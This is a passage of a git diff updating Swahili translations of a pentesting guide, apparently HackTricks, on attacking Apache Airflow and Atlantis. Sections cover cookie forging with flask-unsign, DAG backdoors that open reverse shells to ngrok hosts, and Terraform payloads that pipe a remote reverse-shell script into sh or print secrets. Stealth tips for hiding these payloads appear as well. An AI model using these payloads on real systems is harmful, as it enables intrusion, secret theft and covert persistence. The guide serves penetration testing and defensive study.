**thamani** bado zinaweza **kupatikana** kupitia **CLI** (unahitaji kuwa na ufikiaji wa DB), **kutekeleza DAG** isiyo na mipaka, **API** inayofikia mwisho wa variables (API inahitaji kuwezeshwa), na **hata GUI yenyewe!**\ Ili kufikia hizo thamani kutoka kwa GUI chagua tu **variables** unazotaka kufikia na **bonyeza kwenye Actions -> Export**.\ -Njia nyingine ni kufanya **bruteforce** kwa **thamani iliyofichwa** ukitumia **uchujaji wa utafutaji** hadi upate hiyo: +Njia nyingine ni kufanya **bruteforce** kwa **thamani iliyofichwa** kwa kutumia **uchujaji wa utafutaji** hadi upate: ![](<../../images/image (152).png>) #### Privilege Escalation -Ikiwa usanidi wa **`expose_config`** umewekwa kuwa **True**, kutoka **kwa jukumu la Mtumiaji** na **juu** wanaweza **kusoma** **usanidi kwenye wavuti**. Katika usanidi huu, **`secret_key`** inaonekana, ambayo inamaanisha mtumiaji yeyote mwenye hii halali wanaweza **kuunda keki yao iliyosainiwa ili kujifanya kuwa akaunti nyingine yoyote ya mtumiaji**. +Ikiwa usanidi wa **`expose_config`** umewekwa kuwa **True**, kutoka kwa **role User** na **juu** wanaweza **kusoma** **config katika wavuti**. Katika usanidi huu, **`secret_key`** inaonekana, ambayo inamaanisha mtumiaji yeyote mwenye hii halali wanaweza **kuunda cookie yao iliyosainiwa ili kujifanya kama akaunti nyingine yoyote ya mtumiaji**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` #### DAG Backdoor (RCE katika Airflow worker) Ikiwa una **ufikiaji wa kuandika** mahali ambapo **DAGs zimehifadhiwa**, unaweza tu **kuunda moja** ambayo itakutumia **reverse shell.**\ -Kumbuka kwamba reverse shell hii itatekelezwa ndani ya **airflow worker container**: +Kumbuka kwamba reverse shell hii itatekelezwa ndani ya **airflow worker container:** ```python import pendulum from airflow import DAG @@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ``` #### DAG Backdoor (RCE katika Airflow scheduler) -Ikiwa utaweka kitu kifanyike **katika mzizi wa msimbo**, wakati wa kuandika hii, kita **fanywa na scheduler** baada ya sekunde chache baada ya kukiweka ndani ya folda ya DAG. +Ikiwa utaweka kitu kifanyike **katika mzizi wa msimbo**, wakati wa kuandika hii, kitafanywa **na mpangaji** baada ya sekunde chache baada ya kukiweka ndani ya folda ya DAG. ```python import pendulum, socket, os, pty from airflow import DAG @@ -146,20 +146,20 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} Ikiwa utafanikiwa **kushambulia mashine ndani ya klasta ya DAG**, unaweza kuunda **scripts za DAG** mpya katika folda ya `dags/` na zitakuwa **zinakopiwa katika mashine zingine** ndani ya klasta ya DAG. -#### Uingiliaji wa Kode ya DAG +#### Uingiliaji wa Msimbo wa DAG Unapotekeleza DAG kutoka kwa GUI unaweza **kupitisha hoja** kwake.\ Hivyo, ikiwa DAG haijakodishwa vizuri inaweza kuwa **na udhaifu wa Uingiliaji wa Amri.**\ Hivyo ndivyo ilivyotokea katika CVE hii: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -Kila unachohitaji kujua ili **kuanza kutafuta uingiliaji wa amri katika DAGs** ni kwamba **parameta** zinapatikana kwa kode **`dag_run.conf.get("param_name")`**. +Kila unachohitaji kujua ili **kuanza kutafuta uingiliaji wa amri katika DAGs** ni kwamba **parameta** zinapatikana kwa msimbo **`dag_run.conf.get("param_name")`**. -Zaidi ya hayo, udhaifu sawa unaweza kutokea na **mabadiliko** (zingatia kwamba kwa ruhusa ya kutosha unaweza **kudhibiti thamani ya mabadiliko** katika GUI). Mabadiliko yanapatikana kwa: +Zaidi ya hayo, udhaifu huo unaweza kutokea pia na **mabadiliko** (zingatia kwamba kwa ruhusa ya kutosha unaweza **kudhibiti thamani ya mabadiliko** katika GUI). Mabadiliko yanapatikana kwa: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` -Ikiwa zinatumika kwa mfano ndani ya amri ya bash, unaweza kufanya uhamasishaji wa amri. +Ikiwa zinatumika kwa mfano ndani ya amri ya bash, unaweza kufanya uingizaji wa amri. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 758433425..3097cc6b5 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -4,41 +4,41 @@ ## Configuration File -**Apache Airflow** inazalisha **config file** katika mashine zote za airflow inayoitwa **`airflow.cfg`** katika nyumbani ya mtumiaji wa airflow. Faili hii ya config ina taarifa za usanidi na **inaweza kuwa na taarifa za kuvutia na nyeti.** +**Apache Airflow** inazalisha **config file** katika mashine zote za airflow inayoitwa **`airflow.cfg`** katika nyumbani mwa mtumiaji wa airflow. Faili hii ya config ina taarifa za usanidi na **inaweza kuwa na taarifa za kuvutia na nyeti.** **Kuna njia mbili za kufikia faili hii: Kwa kuathiri mashine fulani ya airflow, au kwa kufikia console ya wavuti.** -Kumbuka kwamba **maadili ndani ya faili ya config** **yanaweza kuwa si yale yanayotumika**, kwani unaweza kuyabadilisha kwa kuweka mabadiliko ya mazingira kama `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. +Kumbuka kwamba **thamani ndani ya faili ya config** **zinaweza zisikuwa zile zinazotumika**, kwani unaweza kuzibadilisha kwa kuweka mabadiliko ya mazingira kama `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. -Ikiwa una ufikiaji wa **faili ya config katika seva ya wavuti**, unaweza kuangalia **usanidi halisi unaoendelea** katika ukurasa huo ambapo config inaonyeshwa.\ +Ikiwa una ufikiaji wa **faili ya config katika seva ya wavuti**, unaweza kuangalia **usanidi halisi unaoendesha** katika ukurasa huo ambapo config inaonyeshwa.\ Ikiwa una **ufikiaji wa mashine fulani ndani ya mazingira ya airflow**, angalia **mazingira**. -Baadhi ya maadili ya kuvutia ya kuangalia unapokuwa unaisoma faili ya config: +Baadhi ya thamani za kuvutia za kuangalia unapokuwa unakagua faili ya config: ### \[api] -- **`access_control_allow_headers`**: Hii inaonyesha **headers** **zinazoruhusiwa** kwa **CORS** -- **`access_control_allow_methods`**: Hii inaonyesha **mbinu** **zinazoruhusiwa** kwa **CORS** -- **`access_control_allow_origins`**: Hii inaonyesha **michango** **zinazoruhusiwa** kwa **CORS** -- **`auth_backend`**: [**Kulingana na nyaraka**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) chaguzi chache zinaweza kuwekwa ili kuunda nani anaweza kufikia API: +- **`access_control_allow_headers`**: Hii inaonyesha **vichwa vilivyokubaliwa** kwa **CORS** +- **`access_control_allow_methods`**: Hii inaonyesha **mbinu zilizokubaliwa** kwa **CORS** +- **`access_control_allow_origins`**: Hii inaonyesha **michango iliyokubaliwa** kwa **CORS** +- **`auth_backend`**: [**Kulingana na docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) chaguzi chache zinaweza kuwekwa ili kuunda nani anaweza kufikia API: - `airflow.api.auth.backend.deny_all`: **Kwa default hakuna** anayeweza kufikia API - `airflow.api.auth.backend.default`: **Kila mtu anaweza** kuifikia bila uthibitisho - `airflow.api.auth.backend.kerberos_auth`: Ili kuunda **uthibitisho wa kerberos** - `airflow.api.auth.backend.basic_auth`: Kwa **uthibitisho wa msingi** - `airflow.composer.api.backend.composer_auth`: Inatumia uthibitisho wa waandishi (GCP) (kutoka [**hapa**](https://cloud.google.com/composer/docs/access-airflow-api)). -- `composer_auth_user_registration_role`: Hii inaonyesha **nafasi** ambayo **mtumiaji wa composer** atapata ndani ya **airflow** (**Op** kwa default). +- `composer_auth_user_registration_role`: Hii inaonyesha **nafasi** ambayo **mtumiaji wa muandishi** atapata ndani ya **airflow** (**Op** kwa default). - Unaweza pia **kuunda njia yako ya uthibitisho** kwa kutumia python. - **`google_key_path`:** Njia ya **GCP service account key** ### **\[atlas]** -- **`password`**: Neno la siri la Atlas +- **`password`**: Nenosiri la Atlas - **`username`**: Jina la mtumiaji la Atlas ### \[celery] -- **`flower_basic_auth`** : Taarifa za kuingia (_user1:password1,user2:password2_) -- **`result_backend`**: URL ya Postgres ambayo inaweza kuwa na **taarifa za kuingia**. +- **`flower_basic_auth`** : Akida (_user1:password1,user2:password2_) +- **`result_backend`**: URL ya Postgres ambayo inaweza kuwa na **akida**. - **`ssl_cacert`**: Njia ya cacert - **`ssl_cert`**: Njia ya cheti - **`ssl_key`**: Njia ya ufunguo @@ -53,8 +53,8 @@ Baadhi ya maadili ya kuvutia ya kuangalia unapokuwa unaisoma faili ya config: ### \[dask] - **`tls_ca`**: Njia ya ca -- **`tls_cert`**: Njia ya cheti -- **`tls_key`**: Njia ya ufunguo wa tls +- **`tls_cert`**: Sehemu ya cheti +- **`tls_key`**: Sehemu ya ufunguo wa tls ### \[kerberos] @@ -72,7 +72,7 @@ Baadhi ya maadili ya kuvutia ya kuangalia unapokuwa unaisoma faili ya config: ### \[smtp] -- **`smtp_password`**: Neno la siri la SMTP +- **`smtp_password`**: Nenosiri la SMTP - **`smtp_user`**: Mtumiaji wa SMTP ### \[webserver] @@ -96,9 +96,9 @@ Ambayo inamaanisha kwamba **uthibitishaji unakaguliwa dhidi ya hifadhidata**. Ha ```bash AUTH_TYPE = AUTH_OAUTH ``` -Ili kuacha **uthibitishaji kwa huduma za upande wa tatu**. +Kuwaacha **uthibitishaji kwa huduma za upande wa tatu**. -Hata hivyo, kuna chaguo pia la **kuruhusu watumiaji wasiojulikana kuingia**, kuweka parameter ifuatayo kwa **jukumu lililotakikana**: +Hata hivyo, pia kuna chaguo la **kuruhusu watumiaji wasiojulikana kuingia**, kuweka parameter ifuatayo kwa **haki inayotakiwa**: ```bash AUTH_ROLE_PUBLIC = 'Admin' ``` diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 273177f25..75bcd05d9 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -8,13 +8,13 @@ - **`Admin`** watumiaji wana ruhusa zote zinazowezekana. - **`Public`** watumiaji (wasiojulikana) hawana ruhusa yoyote. -- **`Viewer`** watumiaji wana ruhusa za mtazamaji zilizo na mipaka (kusoma tu). **Haiwezi kuona usanidi.** +- **`Viewer`** watumiaji wana ruhusa za mtazamaji zilizo na mipaka (kusoma tu). Haiwezi kuona usanidi. - **`User`** watumiaji wana ruhusa za `Viewer` pamoja na ruhusa za ziada za mtumiaji zinazomruhusu kusimamia DAGs kidogo. Anaweza **kuona faili ya usanidi** - **`Op`** watumiaji wana ruhusa za `User` pamoja na ruhusa za ziada za op. Kumbuka kwamba **watumiaji wa admin** wanaweza **kuunda majukumu zaidi** yenye **ruhusa za kina**. -Pia kumbuka kwamba jukumu pekee la default lenye **ruhusa ya kuorodhesha watumiaji na majukumu ni Admin, hata `Op` hataweza kufanya hivyo.** +Pia kumbuka kwamba jukumu pekee la default lenye **ruhusa ya kuorodhesha watumiaji na majukumu ni Admin, hata Op** hataweza kufanya hivyo. ### Ruhusa za Default diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 9333d4c16..bde1a9c7b 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -11,7 +11,7 @@ Atlantis kimsingi inakusaidia kuendesha terraform kutoka kwa Pull Requests kutok ### Local Lab 1. Nenda kwenye **ukurasa wa toleo la atlantis** katika [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) na **pakua** ile inayokufaa. -2. Unda **token ya kibinafsi** (ikiwa na ufikiaji wa repo) ya mtumiaji wako wa **github** +2. Unda **token ya kibinafsi** (ikiwa na ufikiaji wa repo) wa mtumiaji wako wa **github** 3. Tekeleza `./atlantis testdrive` na itaunda **demo repo** ambayo unaweza kutumia ku **zungumza na atlantis** 1. Unaweza kufikia ukurasa wa wavuti katika 127.0.0.1:4141 @@ -21,7 +21,7 @@ Atlantis kimsingi inakusaidia kuendesha terraform kutoka kwa Pull Requests kutok **Atlantis** inasaidia wenyeji kadhaa wa git kama **Github**, **Gitlab**, **Bitbucket** na **Azure DevOps**.\ Hata hivyo, ili kufikia repos katika majukwaa hayo na kufanya vitendo, inahitaji kuwa na **ufikiaji wa kibali uliopewa** (angalau ruhusa za kuandika).\ -[**Nyaraka**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) zinahimiza kuunda mtumiaji katika majukwaa haya mahsusi kwa Atlantis, lakini watu wengine wanaweza kutumia akaunti za kibinafsi. +[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) inahimiza kuunda mtumiaji katika majukwaa haya mahsusi kwa Atlantis, lakini watu wengine wanaweza kutumia akaunti za kibinafsi. > [!WARNING] > Katika hali yoyote, kutoka kwa mtazamo wa washambuliaji, **akaunti ya Atlantis** itakuwa moja ya **ya kuvutia** **kuvunjwa**. @@ -32,16 +32,16 @@ Atlantis inatumia kwa hiari [**Webhook secrets**](https://www.runatlantis.io/doc Njia moja ya kuthibitisha hii ingekuwa **kuruhusu maombi kuja tu kutoka kwa IPs** za mwenyeji wako wa Git lakini njia rahisi ni kutumia Webhook Secret. -Kumbuka kwamba isipokuwa unatumia seva ya github au bitbucket ya kibinafsi, utahitaji kufichua mwisho wa webhook kwa Mtandao. +Kumbuka kwamba isipokuwa unatumia seva ya kibinafsi ya github au bitbucket, itabidi ufichue mwisho wa webhook kwa Mtandao. > [!WARNING] > Atlantis itakuwa **ikifichua webhooks** ili seva ya git iweze kutuma habari. Kutoka kwa mtazamo wa washambuliaji itakuwa ya kuvutia kujua **kama unaweza kutuma ujumbe**. #### Provider Credentials -[Kutoka kwenye nyaraka:](https://www.runatlantis.io/docs/provider-credentials.html) +[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis inafanya Terraform kwa kuendesha tu **amri `terraform plan` na `apply`** kwenye seva **ambayo Atlantis inahifadhiwa**. Kama unavyofanya Terraform kwa ndani, Atlantis inahitaji akreditif za mtoa huduma wako maalum. +Atlantis inafanya Terraform kwa kutekeleza tu **amri za `terraform plan` na `apply`** kwenye seva **ambayo Atlantis inahifadhiwa**. Kama unavyofanya Terraform kwa ndani, Atlantis inahitaji akreditif za mtoa huduma wako maalum. Ni juu yako jinsi unavyoweza [kutoa akreditif](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) kwa mtoa huduma wako maalum kwa Atlantis: @@ -49,16 +49,16 @@ Ni juu yako jinsi unavyoweza [kutoa akreditif](https://www.runatlantis.io/docs/p - Ikiwa unafanya kazi na Atlantis katika wingu basi mawingu mengi yana njia za kutoa ufikiaji wa API ya wingu kwa programu zinazofanya kazi ndani yao, mfano: - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Tafuta "EC2 Role") - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- Watumiaji wengi huweka mabadiliko ya mazingira, mfano. `AWS_ACCESS_KEY`, ambapo Atlantis inafanya kazi. -- Wengine huunda faili za usanidi zinazohitajika, mfano. `~/.aws/credentials`, ambapo Atlantis inafanya kazi. +- Watumiaji wengi huweka mabadiliko ya mazingira, mfano `AWS_ACCESS_KEY`, ambapo Atlantis inafanya kazi. +- Wengine huunda faili za usanidi zinazohitajika, mfano `~/.aws/credentials`, ambapo Atlantis inafanya kazi. - Tumia [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) kupata akreditif za mtoa huduma. > [!WARNING] -> **Container** ambapo **Atlantis** inafanya **kazi** itakuwa na uwezekano mkubwa **kuhifadhi akreditif za kibali** kwa watoa huduma (AWS, GCP, Github...) ambao Atlantis inasimamia kupitia Terraform. +> **Container** ambapo **Atlantis** inafanya **kazi** itakuwa na uwezekano mkubwa **kuhifadhi akreditif za kibali** kwa waendeshaji (AWS, GCP, Github...) ambao Atlantis inasimamia kupitia Terraform. #### Web Page -Kwa kawaida Atlantis itafanya kazi **ukurasa wa wavuti katika bandari 4141 kwenye localhost**. Ukurasa huu unaruhusu tu kuwezesha/kuzima atlantis apply na kuangalia hali ya mpango wa repos na kuziweka wazi (hauruhusu kubadilisha mambo, hivyo si ya manufaa sana). +Kwa kawaida Atlantis itafanya kazi **ukurasa wa wavuti katika bandari 4141 kwenye localhost**. Ukurasa huu unaruhusu tu kuwezesha/kuzima atlantis apply na kuangalia hali ya mpango wa repos na kuzifungua (hauruhusu kubadilisha mambo, hivyo si ya manufaa sana). Huenda usiione ikifichuliwa kwa mtandao, lakini inaonekana kwa kawaida **hakuna akreditif zinazohitajika** kuifikia (na ikiwa zipo `atlantis`:`atlantis` ndio **za kawaida**). @@ -67,7 +67,7 @@ Huenda usiione ikifichuliwa kwa mtandao, lakini inaonekana kwa kawaida **hakuna Usanidi wa `atlantis server` unaweza kuainishwa kupitia bendera za mistari ya amri, mabadiliko ya mazingira, faili ya usanidi au mchanganyiko wa tatu. - Unaweza kupata [**hapa orodha ya bendera**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) zinazosaidiwa na seva ya Atlantis -- Unaweza kupata [**hapa jinsi ya kubadilisha chaguo la usanidi kuwa mabadiliko ya mazingira**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- Unaweza kupata [**hapa jinsi ya kubadilisha chaguo la usanidi kuwa env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) Thamani zinachaguliwa **katika mpangilio huu**: @@ -80,16 +80,16 @@ Thamani zinachaguliwa **katika mpangilio huu**: #### Repos Configuration -Mikakati fulani inaathiri **jinsi repos inavyosimamiwa**. Hata hivyo, inawezekana kwamba **kila repo inahitaji mipangilio tofauti**, hivyo kuna njia za kuainisha kila repo. Hii ndiyo kipaumbele: +Mifumo fulani ya usanidi inaathiri **jinsi repos zinavyosimamiwa**. Hata hivyo, inawezekana kwamba **kila repo inahitaji mipangilio tofauti**, hivyo kuna njia za kuainisha kila repo. Hii ndiyo mpangilio wa kipaumbele: -1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) faili. Faili hii inaweza kutumika kuainisha jinsi atlantis inavyopaswa kutenda kwa repo. Hata hivyo, kwa kawaida funguo fulani haziwezi kuainishwa hapa bila bendera fulani zinazoruhusu. +1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) faili. Faili hii inaweza kutumika kuainisha jinsi atlantis inavyopaswa kutenda repo. Hata hivyo, kwa kawaida funguo fulani haziwezi kuainishwa hapa bila bendera fulani zinazoruhusu. 1. Huenda ikahitajika kuruhusiwa na bendera kama `allowed_overrides` au `allow_custom_workflows` -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Unaweza kuipitia na bendera `--repo-config` na ni yaml inayopanga mipangilio mipya kwa kila repo (regexes zinasaidiwa) +2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Unaweza kuipitia kwa bendera `--repo-config` na ni yaml inayopanga mipangilio mipya kwa kila repo (regexes zinasaidiwa) 3. **Thamani za Kawaida** **PR Protections** -Atlantis inaruhusu kuashiria ikiwa unataka **PR** kuidhinishwa na mtu mwingine (hata kama hiyo haijakubaliwa katika ulinzi wa tawi) na/au kuwa **`mergeable`** (ulinzi wa tawi umepita) **kabla ya kuendesha apply**. Kutoka kwa mtazamo wa usalama, kuweka chaguo zote mbili ni mapendekezo. +Atlantis inaruhusu kuashiria ikiwa unataka **PR** ku **`idhinishwa`** na mtu mwingine (hata kama hiyo haijakubaliwa katika ulinzi wa tawi) na/au kuwa **`inaweza kuunganishwa`** (ulinzi wa tawi umepita) **kabla ya kuendesha apply**. Kutoka kwa mtazamo wa usalama, kuweka chaguo zote mbili ni mapendekezo. Katika kesi `allowed_overrides` ni Kweli, mipangilio hii inaweza **kufutwa kwenye kila mradi na faili ya `/atlantis.yml`**. @@ -97,7 +97,7 @@ Katika kesi `allowed_overrides` ni Kweli, mipangilio hii inaweza **kufutwa kweny Usanidi wa repo unaweza **kuainisha scripts** za kuendesha [**kabla**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) na [**baada**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) **workflow inatekelezwa.** -Hakuna chaguo la kuruhusu **kuainisha** scripts hizi katika **repo `/atlantis.yml`** faili. +Hakuna chaguo lolote la kuruhusu **kuainisha** scripts hizi katika **repo `/atlantis.yml`** faili. **Workflow** @@ -126,18 +126,18 @@ Kisha, unaweza kuruhusu faili ya **atlantis.yaml** ya kila repo ku **ainisha wor **Conftest Policy Checking** -Atlantis inasaidia kuendesha **server-side** [**conftest**](https://www.conftest.dev/) **policies** dhidi ya matokeo ya mpango. Matumizi ya kawaida ya hatua hii ni pamoja na: +Atlantis inasaidia kuendesha **server-side** [**conftest**](https://www.conftest.dev/) **sera** dhidi ya matokeo ya mpango. Matumizi ya kawaida ya hatua hii ni pamoja na: - Kukataa matumizi ya orodha ya moduli - Kuashiria sifa za rasilimali wakati wa kuunda - Kukamata kufutwa kwa rasilimali zisizokusudiwa - Kuzuia hatari za usalama (yaani, kufichua bandari salama kwa umma) -Unaweza kuangalia jinsi ya kuipanga katika [**nyaraka**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). +Unaweza kuangalia jinsi ya kuipanga katika [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). ### Atlantis Commands -[**Katika nyaraka**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) unaweza kupata chaguzi unazoweza kutumia kuendesha Atlantis: +[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) unaweza kupata chaguzi unazoweza kutumia kuendesha Atlantis: ```bash # Get help atlantis help @@ -160,7 +160,7 @@ atlantis apply [options] -- [terraform apply flags] ## --verbose ## You can also add extra terraform options ``` -### Attacks +### Mashambulizi > [!WARNING] > Ikiwa wakati wa unyakuzi unakutana na **kosa** hili: `Error: Error acquiring the state lock` @@ -172,7 +172,7 @@ atlantis plan -- -lock=false ``` #### Atlantis plan RCE - Mabadiliko ya usanidi katika PR mpya -Ikiwa una ruhusa ya kuandika juu ya hifadhi, utaweza kuunda tawi jipya ndani yake na kuunda PR. Ikiwa unaweza **kutekeleza `atlantis plan`** (au labda inatekelezwa kiotomatiki) **utaweza kufanya RCE ndani ya seva ya Atlantis**. +Ikiwa una ufikiaji wa kuandika juu ya hifadhi, utaweza kuunda tawi jipya ndani yake na kuzalisha PR. Ikiwa unaweza **kutekeleza `atlantis plan`** (au labda inatekelezwa kiotomatiki) **utaweza kufanya RCE ndani ya seva ya Atlantis**. Unaweza kufanya hivi kwa kufanya [**Atlantis ipokee chanzo cha data cha nje**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Weka tu payload kama ifuatavyo katika faili ya `main.tf`: ```json @@ -182,7 +182,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **Shambulio la Siri** -Unaweza kufanya shambulio hili hata kwa njia **ya siri zaidi**, kwa kufuata mapendekezo haya: +Unaweza kufanya shambulio hili hata kwa njia ya **siri zaidi**, kwa kufuata mapendekezo haya: - Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell: ```javascript @@ -190,14 +190,14 @@ module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +Unaweza kupata msimbo wa rev shell katika [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **kodi ya rev shell ya terraform katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **msimbo wa terraform rev shell katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` - **Badala** ya kuunda **PR kwa master** ili kuanzisha Atlantis, **unda matawi 2** (test1 na test2) na uunde **PR kutoka moja hadi nyingine**. Unapokamilisha shambulio, tu **ondoa PR na matawi**. #### Atlantis plan Secrets Dump -Unaweza **dump secrets zinazotumiwa na terraform** ukikimbia `atlantis plan` (`terraform plan`) kwa kuweka kitu kama hiki katika faili la terraform: +Unaweza **dump secrets zinazotumiwa na terraform** ukikimbia `atlantis plan` (`terraform plan`) kwa kuweka kitu kama hiki katika faili ya terraform: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -205,17 +205,17 @@ value = nonsensitive(var.do_token) ``` #### Atlantis apply RCE - Mabadiliko ya usanidi katika PR mpya -Ikiwa una ruhusa ya kuandika juu ya hifadhi, utaweza kuunda tawi jipya na kuzalisha PR. Ikiwa unaweza **kufanya `atlantis apply` utaweza RCE ndani ya seva ya Atlantis**. +Ikiwa una ufikiaji wa kuandika kwenye hifadhi, utaweza kuunda tawi jipya na kuzalisha PR. Ikiwa unaweza **kutekeleza `atlantis apply` utaweza RCE ndani ya seva ya Atlantis**. Hata hivyo, kwa kawaida utahitaji kupita baadhi ya ulinzi: -- **Inayoweza kuunganishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, unaweza tu kufanya **`atlantis apply` ikiwa PR inaweza kuunganishwa** (hii inamaanisha kuwa ulinzi wa tawi unahitaji kupitishwa). +- **Inayoweza kuunganishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, unaweza tu kuendesha **`atlantis apply` ikiwa PR inaweza kuunganishwa** (hii inamaanisha kuwa ulinzi wa tawi unahitaji kupitishwa). - Angalia [**kupita kwa ulinzi wa tawi**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **Imeidhinishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, **mtumiaji mwingine lazima aidhinishe PR** kabla hujaweza kufanya `atlantis apply` +- **Imeidhinishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, **mtumiaji mwingine lazima aidhinishe PR** kabla hujaweza kuendesha `atlantis apply` - Kwa kawaida unaweza kutumia [**token ya Gitbot kupita ulinzi huu**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -Kufanya **`terraform apply` kwenye faili ya Terraform yenye nia mbaya na** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Unahitaji tu kuhakikisha kuwa payload kama hizi zinaishia kwenye faili ya `main.tf`: +Kuendesha **`terraform apply` kwenye faili mbaya ya Terraform yenye** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Unahitaji tu kuhakikisha kuwa payload kama hizi zinaishia kwenye faili `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Fuata **mapendekezo kutoka kwa mbinu ya awali** ili kufanikisha shambulio hili kwa **njia ya siri**. +Fuata **mapendekezo kutoka kwa mbinu ya awali** ili ufanye shambulio hili kwa **njia ya siri**. #### Terraform Param Injection -Wakati wa kuendesha `atlantis plan` au `atlantis apply`, terraform inatekelezwa chini, unaweza kupitisha amri kwa terraform kutoka atlantis kwa kuandika kitu kama: +Wakati wa kuendesha `atlantis plan` au `atlantis apply`, terraform inatekelezwa chini, unaweza kupitisha amri kwa terraform kutoka atlantis kwa kuandika maoni kama: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -243,17 +243,17 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +Unaweza kupitisha mabadiliko ya mazingira ambayo yanaweza kusaidia kupita baadhi ya ulinzi. Angalia terraform env vars katika [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) -#### Custom Workflow +#### Mchakato wa Kijadi -Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\ -This possibility was mentioned in a previous section: +Kukimbia **amri za kujenga za uhalifu** zilizobainishwa katika faili ya `atlantis.yaml`. Atlantis inatumia faili ya `atlantis.yaml` kutoka tawi la ombi la kuvuta, **sio** la `master`.\ +Uwezekano huu ulitajwa katika sehemu ya awali: > [!CAUTION] -> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed 